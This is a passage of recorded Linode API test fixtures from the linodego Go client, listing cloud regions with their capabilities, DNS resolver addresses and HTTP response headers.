172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.236.129.8,172.236.129.42,172.236.129.41,172.236.129.19,172.236.129.46,172.236.129.23,172.236.129.48,172.236.129.20,172.236.129.21,172.236.129.47", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-northeast", "label": "Tokyo 2, JP", "country": "jp", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 30}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 10 Oct 2024 18:15:13 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestRegions_kubernetesEnterprise.yaml000066400000000000000000000634041474652371000342150ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17,172.232.0.16,172.232.0.21,172.232.0.13,172.232.0.22,172.232.0.9,172.232.0.19,172.232.0.20,172.232.0.15,172.232.0.18", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21,172.232.32.23,172.232.32.17,172.232.32.18,172.232.32.16,172.232.32.22,172.232.32.20,172.232.32.14,172.232.32.11,172.232.32.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19,172.232.160.21,172.232.160.17,172.232.160.15,172.232.160.18,172.232.160.8,172.232.160.12,172.232.160.11,172.232.160.14,172.232.160.16", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4,172.233.0.9,172.233.0.7,172.233.0.12,172.233.0.5,172.233.0.13,172.233.0.10,172.233.0.6,172.233.0.8,172.233.0.11", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36,172.233.33.38,172.233.33.35,172.233.33.39,172.233.33.34,172.233.33.33,172.233.33.31,172.233.33.30,172.233.33.37,172.233.33.32", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24,172.232.128.26,172.232.128.20,172.232.128.22,172.232.128.25,172.232.128.19,172.232.128.23,172.232.128.18,172.232.128.21,172.232.128.27", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6,172.233.111.17,172.233.111.21,172.233.111.25,172.233.111.19,172.233.111.12,172.233.111.26,172.233.111.16,172.233.111.18,172.233.111.9", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17,172.232.96.26,172.232.96.19,172.232.96.20,172.232.96.25,172.232.96.21,172.232.96.18,172.232.96.22,172.232.96.23,172.232.96.24", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44,172.233.64.43,172.233.64.37,172.233.64.40,172.233.64.46,172.233.64.41,172.233.64.39,172.233.64.42,172.233.64.45,172.233.64.38", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19,172.232.192.18,172.232.192.16,172.232.192.20,172.232.192.24,172.232.192.21,172.232.192.22,172.232.192.17,172.232.192.15,172.232.192.23", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34,172.233.160.27,172.233.160.30,172.233.160.29,172.233.160.32,172.233.160.28,172.233.160.33,172.233.160.26,172.233.160.25,172.233.160.31", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23,172.232.224.32,172.232.224.26,172.232.224.27,172.232.224.21,172.232.224.24,172.232.224.22,172.232.224.20,172.232.224.31,172.232.224.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45,172.233.128.38,172.233.128.53,172.233.128.37,172.233.128.34,172.233.128.36,172.233.128.33,172.233.128.39,172.233.128.43,172.233.128.44", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46,172.236.0.50,172.236.0.47,172.236.0.53,172.236.0.52,172.236.0.45,172.236.0.49,172.236.0.51,172.236.0.54,172.236.0.48", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23,172.236.32.35,172.236.32.30,172.236.32.28,172.236.32.32,172.236.32.33,172.236.32.27,172.236.32.37,172.236.32.29,172.236.32.34", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-bom-2", "label": "Mumbai 2, IN", "country": "in", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": "172.236.171.41,172.236.171.42,172.236.171.25,172.236.171.44,172.236.171.26,172.236.171.45,172.236.171.24,172.236.171.43,172.236.171.27,172.236.171.28", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "de-fra-2", "label": "Frankfurt 2, DE", "country": "de", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group", "StackScripts", "NETINT Quadra T1U"], "status": "ok", "resolvers": {"ipv4": "172.236.203.9,172.236.203.16,172.236.203.19,172.236.203.15,172.236.203.17,172.236.203.11,172.236.203.18,172.236.203.14,172.236.203.13,172.236.203.12", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": null, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "sg-sin-2", "label": "Singapore 2, SG", "country": "sg", "capabilities": ["Linodes", "Block Storage Encryption", "Disk Encryption", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Kubernetes Enterprise", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group", "StackScripts"], "status": "ok", "resolvers": {"ipv4": 